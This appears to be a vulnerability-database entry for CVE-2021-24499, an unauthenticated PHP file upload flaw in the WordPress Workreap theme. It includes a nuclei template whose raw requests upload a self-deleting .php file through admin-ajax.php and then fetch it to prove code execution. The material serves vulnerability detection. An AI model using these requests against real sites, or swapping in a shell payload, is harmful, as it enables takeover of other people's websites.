HexBrain

Browse / CVEs / CVE-2021-24499

CVE-2021-24499· amentotech / workreap· CWE-434

WordPress Workreap - Remote Code Execution

criticalseverity
9.8CVSS score
60.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

Fix

Update to the latest version of the Workreap plugin to fix the vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/workreap-temp/{{randstr}}.php
Positive when: contains "{{md5(string)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24499 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24499

info:
  name: WordPress Workreap - Remote Code Execution
  author: daffainfo
  severity: critical
  description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the Workreap plugin to fix the vulnerability.
  reference:
    - https://github.com/RyouYoo/CVE-2021-24499
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499
    - https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
    - https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
    - http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24499
    cwe-id: CWE-434
    epss-score: 0.60113
    epss-percentile: 0.99144
    cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: amentotech
    product: workreap
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech,vkev,vuln

variables:
  string: "CVE-2021-24499"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
        X-Requested-With: XMLHttpRequest

        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="action"

        workreap_award_temp_file_uploader
        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
        Content-Type: application/x-httpd-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------cd0dc6bdc00b1cf9--
      - |
        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from